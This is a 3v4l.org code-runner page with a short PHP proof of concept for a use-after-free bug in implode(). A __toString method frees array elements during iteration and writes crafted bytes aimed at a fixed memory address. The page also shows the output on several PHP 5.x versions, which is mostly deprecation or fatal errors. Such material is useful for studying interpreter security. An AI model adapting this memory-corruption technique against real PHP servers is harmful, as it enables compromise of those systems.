3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php // july 31, memory leak found by n0b0dy; ret2php, AB h4x class volatile { public function __toString() { unset($GLOBALS['arr1'][0]); unset($GLOBALS['arr1'][1]); //memory 0x08048000 $GLOBALS['test1'] .= "\x00\x80\x04\x08\xff\xff\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; return ''; } } $test1=''; $arr1 = array(new volatile, 1); $data = implode(",", &$arr1); var_dump($data);
Output for 5.4.0 - 5.4.17
Fatal error: Call-time pass-by-reference has been removed in /in/778eN on line 14
Process exited with code 255.
Output for 5.3.28 - 5.3.29
Deprecated: Call-time pass-by-reference has been deprecated in /in/i6G1k on line 14 string(1) ","
Output for 5.3.0 - 5.3.27
Deprecated: Call-time pass-by-reference has been deprecated in /in/778eN on line 14 string(1) ","